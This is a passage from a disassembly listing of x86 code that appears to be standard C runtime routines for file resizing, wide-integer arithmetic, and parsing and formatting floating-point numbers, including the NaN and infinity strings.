CODE XREF: sub_424E01+92j xor eax, eax jmp short loc_424EA7 sub_424E01 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4239DB loc_424EB2: ; CODE XREF: sub_4239DB+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_4DC5E0, esi jle short loc_424F05 loc_424EC1: ; CODE XREF: sub_4239DB+1528j mov eax, dword_4DB5C8 mov eax, [eax+esi*4] test eax, eax jz short loc_424EFC test byte ptr [eax+0Ch], 83h jz short loc_424EE0 push eax call sub_41B05B cmp eax, 0FFFFFFFFh pop ecx jz short loc_424EE0 inc edi loc_424EE0: ; CODE XREF: sub_4239DB+14F6j ; sub_4239DB+1502j cmp esi, 14h jl short loc_424EFC mov eax, dword_4DB5C8 push dword ptr [eax+esi*4] call sub_41B0B1 mov eax, dword_4DB5C8 pop ecx and dword ptr [eax+esi*4], 0 loc_424EFC: ; CODE XREF: sub_4239DB+14F0j ; sub_4239DB+1508j inc esi cmp esi, dword_4DC5E0 jl short loc_424EC1 loc_424F05: ; CODE XREF: sub_4239DB+14E4j mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_4239DB ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424F0A proc near ; CODE XREF: sub_423A33+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_41BB20 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_4DC700 jnb loc_42503F mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DC600[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_42503F push 1 push esi push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_425049 push 2 push esi push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_425049 push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_424FEC push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_41B590 push 8000h push ebx call sub_425B44 add esp, 14h mov [ebp+arg_4], eax loc_424FA0: ; CODE XREF: sub_424F0A+BDj mov eax, 1000h cmp edi, eax jge short loc_424FAB mov eax, edi loc_424FAB: ; CODE XREF: sub_424F0A+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_42291D add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_424FC9 sub edi, eax test edi, edi jle short loc_424FDF jmp short loc_424FA0 ; --------------------------------------------------------------------------- loc_424FC9: ; CODE XREF: sub_424F0A+B5j cmp dword_4DB2AC, 5 jnz short loc_424FDC mov dword_4DB2A8, 0Dh loc_424FDC: ; CODE XREF: sub_424F0A+C6j or esi, 0FFFFFFFFh loc_424FDF: ; CODE XREF: sub_424F0A+BBj push [ebp+arg_4] push ebx call sub_425B44 pop ecx pop ecx jmp short loc_42502C ; --------------------------------------------------------------------------- loc_424FEC: ; CODE XREF: sub_424F0A+71j jge short loc_42502C push 0 push [ebp+arg_4] push ebx call sub_42272B push ebx call sub_4238A2 add esp, 10h push eax call near ptr 2600000h nop mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_42502C mov dword_4DB2A8, 0Dh nop call near ptr 2680930h mov dword_4DB2AC, eax loc_42502C: ; CODE XREF: sub_424F0A+E0j ; sub_424F0A:loc_424FECj ... push 0 push [ebp+arg_0] push ebx call sub_42272B add esp, 0Ch mov eax, esi pop edi jmp short loc_42504C ; --------------------------------------------------------------------------- loc_42503F: ; CODE XREF: sub_424F0A+1Aj ; sub_424F0A+36j mov dword_4DB2A8, 9 loc_425049: ; CODE XREF: sub_424F0A+4Ej ; sub_424F0A+63j or eax, 0FFFFFFFFh loc_42504C: ; CODE XREF: sub_424F0A+133j pop esi pop ebx leave retn sub_424F0A endp ; =============== S U B R O U T I N E ======================================= sub_425050 proc near ; CODE XREF: sub_4241CF+2Bp ; sub_4241CF+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_425066 cmp ecx, esi jnb short loc_425069 loc_425066: ; CODE XREF: sub_425050+10j push 1 pop eax loc_425069: ; CODE XREF: sub_425050+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_425050 endp ; =============== S U B R O U T I N E ======================================= sub_425071 proc near ; CODE XREF: sub_42512A+40p ; sub_42512A+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250A3 lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250A3 inc dword ptr [esi+8] loc_4250A3: ; CODE XREF: sub_425071+19j ; sub_425071+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250BB inc dword ptr [esi+8] loc_4250BB: ; CODE XREF: sub_425071+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_425050 add esp, 0Ch pop edi pop esi retn sub_425071 endp ; =============== S U B R O U T I N E ======================================= sub_4250CF proc near ; CODE XREF: sub_42512A+30p ; sub_42512A+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_4250CF endp ; =============== S U B R O U T I N E ======================================= sub_4250FD proc near ; CODE XREF: sub_4256C2+1C8p ; sub_425BBA+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_4250FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42512A proc near ; CODE XREF: sub_4251F1+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_42519E push edi mov [ebp+arg_8], eax loc_425151: ; CODE XREF: sub_42512A+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_4250CF push ebx call sub_4250CF lea eax, [ebp+var_10] push eax push ebx call sub_425071 push ebx call sub_4250CF mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_425071 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_425151 xor edx, edx pop edi loc_42519E: ; CODE XREF: sub_42512A+21j ; sub_42512A+9Fj cmp [ebx+8], edx jnz short loc_4251CB mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_42519E ; --------------------------------------------------------------------------- loc_4251CB: ; CODE XREF: sub_42512A+77j mov esi, 8000h loc_4251D0: ; CODE XREF: sub_42512A+B9j test [ebx+8], esi jnz short loc_4251E5 push ebx call sub_4250CF add [ebp+var_4], 0FFFFh pop ecx jmp short loc_4251D0 ; --------------------------------------------------------------------------- loc_4251E5: ; CODE XREF: sub_42512A+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_42512A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4251F1 proc near ; CODE XREF: sub_424518+17p ; sub_424545+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_42522C: ; CODE XREF: sub_4251F1+52j mov cl, [edi] cmp cl, 20h jz short loc_425242 cmp cl, 9 jz short loc_425242 cmp cl, 0Ah jz short loc_425242 cmp cl, 0Dh jnz short loc_425245 loc_425242: ; CODE XREF: sub_4251F1+40j ; sub_4251F1+45j ... inc edi jmp short loc_42522C ; --------------------------------------------------------------------------- loc_425245: ; CODE XREF: sub_4251F1+4Fj push 4 pop esi loc_425248: ; CODE XREF: sub_4251F1+AEj ; sub_4251F1+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_4254CB ; default ; jumptable 00425254 case 10 jmp off_425692[eax*4] ; switch jump loc_42525B: ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 0 jl short loc_42526C cmp bl, 39h jg short loc_42526C loc_425265: ; CODE XREF: sub_4251F1+C4j ; sub_4251F1+118j push 3 jmp loc_425489 ; --------------------------------------------------------------------------- loc_42526C: ; CODE XREF: sub_4251F1+6Dj ; sub_4251F1+72j cmp bl, byte_43C538 jnz short loc_42527B loc_425274: ; CODE XREF: sub_4251F1+124j push 5 jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_42527B: ; CODE XREF: sub_4251F1+81j movsx eax, bl sub eax, 2Bh jz short loc_4252A1 dec eax dec eax jz short loc_425295 sub eax, 3 jnz loc_425564 jmp loc_425324 ; --------------------------------------------------------------------------- loc_425295: ; CODE XREF: sub_4251F1+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_425248 ; --------------------------------------------------------------------------- loc_4252A1: ; CODE XREF: sub_4251F1+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_425248 ; --------------------------------------------------------------------------- loc_4252AA: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 1 mov [ebp+var_10], edx jl short loc_4252B7 cmp bl, 39h jle short loc_425265 loc_4252B7: ; CODE XREF: sub_4251F1+BFj cmp bl, byte_43C538 jz loc_42537F cmp bl, 2Bh jz short loc_4252F9 cmp bl, 2Dh jz short loc_4252F9 cmp bl, 30h jz short loc_425324 loc_4252D2: ; CODE XREF: sub_4251F1+207j cmp bl, 43h jle loc_425564 cmp bl, 45h jle short loc_4252F2 cmp bl, 63h jle loc_425564 cmp bl, 65h jg loc_425564 loc_4252F2: ; CODE XREF: sub_4251F1+EDj push 6 jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_4252F9: ; CODE XREF: sub_4251F1+D5j ; sub_4251F1+DAj ... dec edi push 0Bh jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_425301: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 2 jl short loc_42530F cmp bl, 39h jle loc_425265 loc_42530F: ; CODE XREF: sub_4251F1+113j cmp bl, byte_43C538 jz loc_425274 cmp bl, 30h jnz loc_4254D9 loc_425324: ; CODE XREF: sub_4251F1+9Fj ; sub_4251F1+DFj mov eax, edx jmp loc_425248 ; --------------------------------------------------------------------------- loc_42532B: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_10], edx ; jumptable 00425254 case 3 loc_42532E: ; CODE XREF: sub_4251F1+184j cmp dword_43C534, edx jle short loc_425347 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_425355 ; --------------------------------------------------------------------------- loc_425347: ; CODE XREF: sub_4251F1+143j mov ecx, off_43C328 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425355: ; CODE XREF: sub_4251F1+154j test eax, eax jz short loc_425377 cmp [ebp+var_4], 19h jnb short loc_42536F mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_425372 ; --------------------------------------------------------------------------- loc_42536F: ; CODE XREF: sub_4251F1+16Cj inc [ebp+var_8] loc_425372: ; CODE XREF: sub_4251F1+17Cj mov bl, [edi] inc edi jmp short loc_42532E ; --------------------------------------------------------------------------- loc_425377: ; CODE XREF: sub_4251F1+166j cmp bl, byte_43C538 jnz short loc_4253E6 loc_42537F: ; CODE XREF: sub_4251F1+CCj mov eax, esi jmp loc_425248 ; --------------------------------------------------------------------------- loc_425386: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp [ebp+var_4], 0 ; jumptable 00425254 case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_42539F loc_425392: ; CODE XREF: sub_4251F1+1ACj cmp bl, 30h jnz short loc_42539F dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_425392 ; --------------------------------------------------------------------------- loc_42539F: ; CODE XREF: sub_4251F1+19Fj ; sub_4251F1+1A4j ... cmp dword_43C534, edx jle short loc_4253B8 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_4253C6 ; --------------------------------------------------------------------------- loc_4253B8: ; CODE XREF: sub_4251F1+1B4j mov ecx, off_43C328 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_4253C6: ; CODE XREF: sub_4251F1+1C5j test eax, eax jz short loc_4253E6 cmp [ebp+var_4], 19h jnb short loc_4253E1 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_4253E1: ; CODE XREF: sub_4251F1+1DDj mov bl, [edi] inc edi jmp short loc_42539F ; --------------------------------------------------------------------------- loc_4253E6: ; CODE XREF: sub_4251F1+18Cj ; sub_4251F1+1D7j cmp bl, 2Bh jz loc_4252F9 cmp bl, 2Dh jz loc_4252F9 jmp loc_4252D2 ; --------------------------------------------------------------------------- loc_4253FD: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp dword_43C534, edx ; jumptable 00425254 case 5 mov [ebp+var_24], edx jle short loc_425419 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_425427 ; --------------------------------------------------------------------------- loc_425419: ; CODE XREF: sub_4251F1+215j mov ecx, off_43C328 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425427: ; CODE XREF: sub_4251F1+226j test eax, eax jz loc_4254D9 mov eax, esi jmp short loc_42548A ; --------------------------------------------------------------------------- loc_425433: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o lea ecx, [edi-2] ; jumptable 00425254 case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_425443 cmp bl, 39h jle short loc_425487 loc_425443: ; CODE XREF: sub_4251F1+24Bj movsx eax, bl sub eax, 2Bh jz short loc_4254BF dec eax dec eax jz short loc_4254B3 sub eax, 3 jnz loc_425567 loc_425458: ; CODE XREF: sub_4251F1+2A4j push 8 jmp short loc_4254C1 ; --------------------------------------------------------------------------- loc_42545C: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_20], edx ; jumptable 00425254 case 8 loc_42545F: ; CODE XREF: sub_4251F1+276j cmp bl, 30h jnz short loc_425469 mov bl, [edi] inc edi jmp short loc_42545F ; --------------------------------------------------------------------------- loc_425469: ; CODE XREF: sub_4251F1+271j cmp bl, 31h jl loc_425564 cmp bl, 39h jg loc_425564 jmp short loc_425487 ; --------------------------------------------------------------------------- loc_42547D: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 7 jl short loc_425490 cmp bl, 39h jg short loc_425490 loc_425487: ; CODE XREF: sub_4251F1+250j ; sub_4251F1+28Aj push 9 loc_425489: ; CODE XREF: sub_4251F1+76j pop eax loc_42548A: ; CODE XREF: sub_4251F1+240j dec edi jmp loc_425248 ; --------------------------------------------------------------------------- loc_425490: ; CODE XREF: sub_4251F1+28Fj ; sub_4251F1+294j cmp bl, 30h jnz short loc_4254D9 jmp short loc_425458 ; --------------------------------------------------------------------------- loc_425497: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp [ebp+arg_18], 0 ; jumptable 00425254 case 11 jz short loc_4254C7 movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_4254BF dec eax dec eax jnz loc_425567 loc_4254B3: ; CODE XREF: sub_4251F1+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254BF: ; CODE XREF: sub_4251F1+258j ; sub_4251F1+2B8j push 7 loc_4254C1: ; CODE XREF: sub_4251F1+85j ; sub_4251F1+103j ... pop eax jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254C7: ; CODE XREF: sub_4251F1+2AAj push 0Ah dec edi pop eax loc_4254CB: ; CODE XREF: sub_4251F1+5Dj ; sub_4251F1+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 00425254 case 10 jz loc_425569 jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254D9: ; CODE XREF: sub_4251F1+12Dj ; sub_4251F1+238j ... mov edi, [ebp+arg_8] jmp loc_425569 ; --------------------------------------------------------------------------- loc_4254E1: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_20], 1 ; jumptable 00425254 case 9 xor esi, esi loc_4254EA: ; CODE XREF: sub_4251F1+339j cmp dword_43C534, 1 jle short loc_425502 movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_425511 ; --------------------------------------------------------------------------- loc_425502: ; CODE XREF: sub_4251F1+300j mov ecx, off_43C328 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_425511: ; CODE XREF: sub_4251F1+30Fj test eax, eax jz short loc_425531 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_42552C mov bl, [edi] inc edi jmp short loc_4254EA ; --------------------------------------------------------------------------- loc_42552C: ; CODE XREF: sub_4251F1+334j mov esi, 1451h loc_425531: ; CODE XREF: sub_4251F1+322j mov [ebp+var_1C], esi loc_425534: ; CODE XREF: sub_4251F1+371j cmp dword_43C534, 1 jle short loc_42554C movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_42555B ; --------------------------------------------------------------------------- loc_42554C: ; CODE XREF: sub_4251F1+34Aj mov ecx, off_43C328 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_42555B: ; CODE XREF: sub_4251F1+359j test eax, eax jz short loc_425564 mov bl, [edi] inc edi jmp short loc_425534 ; --------------------------------------------------------------------------- loc_425564: ; CODE XREF: sub_4251F1+99j ; sub_4251F1+E4j ... dec edi jmp short loc_425569 ; --------------------------------------------------------------------------- loc_425567: ; CODE XREF: sub_4251F1+261j ; sub_4251F1+2BCj mov edi, ecx loc_425569: ; CODE XREF: sub_4251F1+2DDj ; sub_4251F1+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_425651 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_425595 cmp [ebp+var_45], 5 jl short loc_425589 inc [ebp+var_45] loc_425589: ; CODE XREF: sub_4251F1+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_425598 ; --------------------------------------------------------------------------- loc_425595: ; CODE XREF: sub_4251F1+38Dj mov eax, [ebp+var_C] loc_425598: ; CODE XREF: sub_4251F1+3A2j cmp [ebp+var_4], 0 jbe loc_425647 loc_4255A2: ; CODE XREF: sub_4251F1+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_4255B0 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_4255A2 ; --------------------------------------------------------------------------- loc_4255B0: ; CODE XREF: sub_4251F1+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_42512A mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_4255CF neg eax loc_4255CF: ; CODE XREF: sub_4251F1+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_4255DA add eax, [ebp+arg_10] loc_4255DA: ; CODE XREF: sub_4251F1+3E4j cmp [ebp+var_24], ecx jnz short loc_4255E2 sub eax, [ebp+arg_14] loc_4255E2: ; CODE XREF: sub_4251F1+3ECj cmp eax, 1450h jle short loc_425619 mov [ebp+var_2C], 1 loc_4255F0: ; CODE XREF: sub_4251F1+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_4255FC: ; CODE XREF: sub_4251F1+454j ; sub_4251F1+45Ej cmp [ebp+var_2C], 0 jz short loc_425662 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_425677 ; --------------------------------------------------------------------------- loc_425619: ; CODE XREF: sub_4251F1+3F6j cmp eax, 0FFFFEBB0h jge short loc_425629 mov [ebp+var_30], 1 jmp short loc_4255F0 ; --------------------------------------------------------------------------- loc_425629: ; CODE XREF: sub_4251F1+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_425DDA mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_4255FC ; --------------------------------------------------------------------------- loc_425647: ; CODE XREF: sub_4251F1+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_4255FC ; --------------------------------------------------------------------------- loc_425651: ; CODE XREF: sub_4251F1+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_425677 ; --------------------------------------------------------------------------- loc_425662: ; CODE XREF: sub_4251F1+40Fj cmp [ebp+var_30], 0 jz short loc_425677 xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_425677: ; CODE XREF: sub_4251F1+426j ; sub_4251F1+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_4251F1 endp ; --------------------------------------------------------------------------- off_425692 dd offset loc_42525B ; DATA XREF: sub_4251F1+63r dd offset loc_4252AA ; jump table for switch statement dd offset loc_425301 dd offset loc_42532B dd offset loc_425386 dd offset loc_4253FD dd offset loc_425433 dd offset loc_42547D dd offset loc_42545C dd offset loc_4254E1 dd offset loc_4254CB dd offset loc_425497 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4256C2 proc near ; CODE XREF: sub_4245E9+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_425724 mov byte ptr [ebx+2], 2Dh jmp short loc_425728 ; --------------------------------------------------------------------------- loc_425724: ; CODE XREF: sub_4256C2+5Aj mov byte ptr [ebx+2], 20h loc_425728: ; CODE XREF: sub_4256C2+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_42574E test edi, edi jnz short loc_42574E cmp [ebp+arg_0], edi jnz short loc_42574E loc_425739: ; CODE XREF: sub_4256C2+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_42594C ; --------------------------------------------------------------------------- loc_42574E: ; CODE XREF: sub_4256C2+6Cj ; sub_4256C2+70j ... cmp dx, si jnz short loc_4257CD mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_425767 cmp [ebp+arg_0], 0 jz short loc_425776 loc_425767: ; CODE XREF: sub_4256C2+9Dj test edi, 40000000h jnz short loc_425776 push offset a1Snan ; "1#SNAN" jmp short loc_4257BC ; --------------------------------------------------------------------------- loc_425776: ; CODE XREF: sub_4256C2+A3j ; sub_4256C2+ABj test cx, cx jz short loc_425790 cmp edi, 0C0000000h jnz short loc_425790 cmp [ebp+arg_0], 0 jnz short loc_4257B7 push offset a1Ind ; "1#IND" jmp short loc_42579F ; --------------------------------------------------------------------------- loc_425790: ; CODE XREF: sub_4256C2+B7j ; sub_4256C2+BFj cmp edi, eax jnz short loc_4257B7 cmp [ebp+arg_0], 0 jnz short loc_4257B7 push offset a1Inf ; "1#INF" loc_42579F: ; CODE XREF: sub_4256C2+CCj lea eax, [ebx+4] push eax call sub_41BEB0 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_4257AE: ; CODE XREF: sub_4256C2+109j and [ebp+var_4], 0 jmp loc_425925 ; --------------------------------------------------------------------------- loc_4257B7: ; CODE XREF: sub_4256C2+C5j ; sub_4256C2+D0j ... push offset a1Qnan ; "1#QNAN" loc_4257BC: ; CODE XREF: sub_4256C2+B2j lea eax, [ebx+4] push eax call sub_41BEB0 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_4257AE ; --------------------------------------------------------------------------- loc_4257CD: ; CODE XREF: sub_4256C2+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_425DDA add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_42582E lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_425BBA pop ecx pop ecx loc_42582E: ; CODE XREF: sub_4256C2+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_425848 mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_42584B jmp loc_425739 ; --------------------------------------------------------------------------- loc_425848: ; CODE XREF: sub_4256C2+173j mov edi, [ebp+arg_C] loc_42584B: ; CODE XREF: sub_4256C2+17Fj cmp edi, 15h jle short loc_425853 push 15h pop edi loc_425853: ; CODE XREF: sub_4256C2+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_425869: ; CODE XREF: sub_4256C2+1B4j lea eax, [ebp+var_10] push eax call sub_4250CF dec [ebp+arg_14] pop ecx jnz short loc_425869 test esi, esi jge short loc_425893 neg esi and esi, 0FFh jle short loc_425893 loc_425886: ; CODE XREF: sub_4256C2+1CFj lea eax, [ebp+var_10] push eax call sub_4250FD dec esi pop ecx jnz short loc_425886 loc_425893: ; CODE XREF: sub_4256C2+1B8j ; sub_4256C2+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_4258F0 mov [ebp+arg_C], ecx loc_4258A3: ; CODE XREF: 